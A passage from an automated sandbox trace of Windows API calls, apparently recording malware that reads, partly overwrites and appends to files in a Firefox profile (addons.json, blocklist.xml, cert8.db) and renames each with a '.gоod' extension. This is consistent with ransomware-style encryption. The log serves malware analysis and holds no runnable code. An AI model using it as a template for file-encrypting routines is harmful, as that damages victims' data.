lpNumberOfBytesWritten=0x204eb7d8*=0x20, lpOverlapped=0x0) returned 1 [0262.403] CloseHandle (hObject=0x8a8) returned 1 [0262.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json", lpFilePart=0x0) returned 0x55 [0262.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.gоod", lpFilePart=0x0) returned 0x5a [0262.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0262.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a3ab44, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a3ab44, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x989e9b10, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0262.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0262.404] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\addons.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\addons.json.gоod")) returned 1 [0262.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", lpFilePart=0x0) returned 0x5f [0262.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0262.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt"), fInfoLevelId=0x0, lpFileInformation=0x3aeb4c8 | out: lpFileInformation=0x3aeb4c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0262.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0262.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", lpFilePart=0x0) returned 0x5f [0262.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0262.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0262.551] GetFileType (hFile=0x8a8) returned 0x1 [0262.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0262.551] GetFileType (hFile=0x8a8) returned 0x1 [0262.551] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x0 [0262.551] CloseHandle (hObject=0x8a8) returned 1 [0262.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", lpFilePart=0x0) returned 0x5f [0262.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0262.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0262.579] GetFileType (hFile=0x8a8) returned 0x1 [0262.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0262.579] GetFileType (hFile=0x8a8) returned 0x1 [0262.579] WriteFile (in: hFile=0x8a8, lpBuffer=0x3b61d58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3b61d58*, lpNumberOfBytesWritten=0x204eb7d8*=0x10, lpOverlapped=0x0) returned 1 [0262.579] CloseHandle (hObject=0x8a8) returned 1 [0262.579] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt", lpFilePart=0x0) returned 0x5f [0262.579] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt.gоod", lpFilePart=0x0) returned 0x64 [0262.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0262.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x98b8d501, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0262.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0262.579] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\AlternateServices.txt.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\alternateservices.txt.gоod")) returned 1 [0262.580] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", lpFilePart=0x0) returned 0x57 [0262.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0262.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x3b63088 | out: lpFileInformation=0x3b63088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd843d8c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd843d8c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x200a4780, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x44669)) returned 1 [0262.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0262.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", lpFilePart=0x0) returned 0x57 [0262.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0262.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0262.581] GetFileType (hFile=0x8a8) returned 0x1 [0262.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0262.581] GetFileType (hFile=0x8a8) returned 0x1 [0262.581] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0262.581] ReadFile (in: hFile=0x8a8, lpBuffer=0x3b634e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x3b634e0*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0262.961] CloseHandle (hObject=0x8a8) returned 1 [0262.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", lpFilePart=0x0) returned 0x57 [0262.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0262.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0262.961] GetFileType (hFile=0x8a8) returned 0x1 [0262.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0262.962] GetFileType (hFile=0x8a8) returned 0x1 [0262.962] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x44669 [0262.962] WriteFile (in: hFile=0x8a8, lpBuffer=0x3a881f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x3a881f0*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0262.963] CloseHandle (hObject=0x8a8) returned 1 [0262.963] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", lpFilePart=0x0) returned 0x57 [0262.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0262.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0262.963] GetFileType (hFile=0x8a8) returned 0x1 [0262.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0262.963] GetFileType (hFile=0x8a8) returned 0x1 [0262.963] ReadFile (in: hFile=0x8a8, lpBuffer=0x3a8ab30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x3a8ab30*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0263.071] CloseHandle (hObject=0x8a8) returned 1 [0263.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", lpFilePart=0x0) returned 0x57 [0263.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0263.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0263.072] GetFileType (hFile=0x8a8) returned 0x1 [0263.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0263.072] GetFileType (hFile=0x8a8) returned 0x1 [0263.072] WriteFile (in: hFile=0x8a8, lpBuffer=0x38e5128*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x38e5128*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0263.072] CloseHandle (hObject=0x8a8) returned 1 [0263.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml", lpFilePart=0x0) returned 0x57 [0263.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.gоod", lpFilePart=0x0) returned 0x5c [0263.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0263.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd843d8c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd843d8c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9905202c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x44679)) returned 1 [0263.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0263.072] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\blocklist.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\blocklist.xml.gоod")) returned 1 [0263.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", lpFilePart=0x0) returned 0x52 [0263.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0263.074] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), fInfoLevelId=0x0, lpFileInformation=0x391db10 | out: lpFileInformation=0x391db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe645e15, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe645e15, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0263.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0263.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", lpFilePart=0x0) returned 0x52 [0263.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0263.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0263.076] GetFileType (hFile=0x8a8) returned 0x1 [0263.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0263.076] GetFileType (hFile=0x8a8) returned 0x1 [0263.076] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0263.076] ReadFile (in: hFile=0x8a8, lpBuffer=0x391df48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x391df48*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0263.077] CloseHandle (hObject=0x8a8) returned 1 [0263.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", lpFilePart=0x0) returned 0x52 [0263.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0263.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0263.078] GetFileType (hFile=0x8a8) returned 0x1 [0263.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0263.078] GetFileType (hFile=0x8a8) returned 0x1 [0263.078] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x10000 [0263.078] WriteFile (in: hFile=0x8a8, lpBuffer=0x3920d40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x3920d40*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0263.078] CloseHandle (hObject=0x8a8) returned 1 [0263.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", lpFilePart=0x0) returned 0x52 [0263.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0263.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0263.078] GetFileType (hFile=0x8a8) returned 0x1 [0263.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0263.078] GetFileType (hFile=0x8a8) returned 0x1 [0263.079] ReadFile (in: hFile=0x8a8, lpBuffer=0x3923010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x3923010*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0264.923] CloseHandle (hObject=0x8a8) returned 1 [0264.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", lpFilePart=0x0) returned 0x52 [0264.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0264.923] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0264.923] GetFileType (hFile=0x8a8) returned 0x1 [0264.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0264.923] GetFileType (hFile=0x8a8) returned 0x1 [0264.923] WriteFile (in: hFile=0x8a8, lpBuffer=0x36dbad0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36dbad0*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0264.923] CloseHandle (hObject=0x8a8) returned 1 [0264.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db", lpFilePart=0x0) returned 0x52 [0264.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db.gоod", lpFilePart=0x0) returned 0x57 [0264.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0264.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cert8.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cert8.db"), 